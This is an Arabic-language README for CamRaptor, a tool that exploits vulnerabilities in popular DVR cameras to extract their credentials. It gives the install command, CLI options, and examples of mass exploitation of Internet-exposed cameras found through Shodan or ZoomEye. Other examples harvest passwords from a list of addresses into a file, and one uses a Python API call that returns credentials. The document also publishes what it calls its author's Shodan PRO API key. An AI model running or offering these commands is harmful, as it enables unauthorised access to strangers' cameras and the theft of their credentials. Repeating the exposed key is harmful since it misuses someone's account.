CamRaptor

CamRaptor هي أداة تستغل عدة ثغرات في كاميرات DVR الشائعة للحصول على بيانات اعتماد الكاميرا الشبكية.

الميزات

• تستغل الثغرات في أشهر موديلات الكاميرات مثل Novo وCeNova وQSee.
• محسّنة لاستغلال عدة كاميرات في وقت واحد من قائمة مع تفعيل الخيوط.
• استخدام بسيط عبر CLI وAPI.

التثبيت

pip3 install git+https://github.com/EntySec/CamRaptor

الاستخدام الأساسي

لاستخدام CamRaptor، اكتب camraptor في الطرفية الخاصة بك.

usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
                 [--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
  -h, --help            show this help message and exit
  -t, --threads         Use threads for fastest work.
  -o OUTPUT, --output OUTPUT
                        Output result to file.
  -i INPUT, --input INPUT
                        Input file of addresses.
  -a ADDRESS, --address ADDRESS
                        Single address.
  --shodan SHODAN       Shodan API key for exploiting devices over Internet.
  --zoomeye ZOOMEYE     ZoomEye API key for exploiting devices over Internet.
  -p PAGES, --pages PAGES
                        Number of pages you want to get from ZoomEye.

أمثلة

استغلال كاميرا واحدة

دعنا نخترق كاميرتي فقط من أجل المتعة.

camraptor -a 192.168.99.100

استغلال كاميرات من الإنترنت

لنحاول استخدام محرك بحث Shodan لاستغلال الكاميرات عبر الإنترنت، سنستخدمه مع -t للاستغلال السريع.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

ملاحظة: مفتاح Shodan API المعطى (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) هو مفتاح PRO الخاص بي، يمكنك استخدام هذا المفتاح أو مفتاحك الخاص، لا تتردد في استخدام جميع مواردنا مجانًا :)

استغلال كاميرات من ملف إدخال

لنحاول استخدام قاعدة بيانات مفتوحة من الكاميرات مع -t للاستغلال السريع.

camraptor -t -i cameras.txt -o passwords.txt

ملاحظة: سيستغل جميع الكاميرات في قائمة cameras.txt حسب عناوينها ويحفظ جميع كلمات المرور التي تم الحصول عليها في passwords.txt.

استخدام API

CamRaptor لديه أيضًا واجهة برمجة تطبيقات Python الخاصة به يمكن استدعاؤها عن طريق استيراد CamRaptor إلى الكود الخاص بك.

from camraptor import CamRaptor

الوظائف الأساسية

هذه هي جميع الوظائف الأساسية لـ CamRaptor التي يمكن استخدامها لاستغلال كاميرا محددة.

• exploit(address) - استغلال كاميرا واحدة بواسطة عنوان معين.

أمثلة

استغلال كاميرا واحدة

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)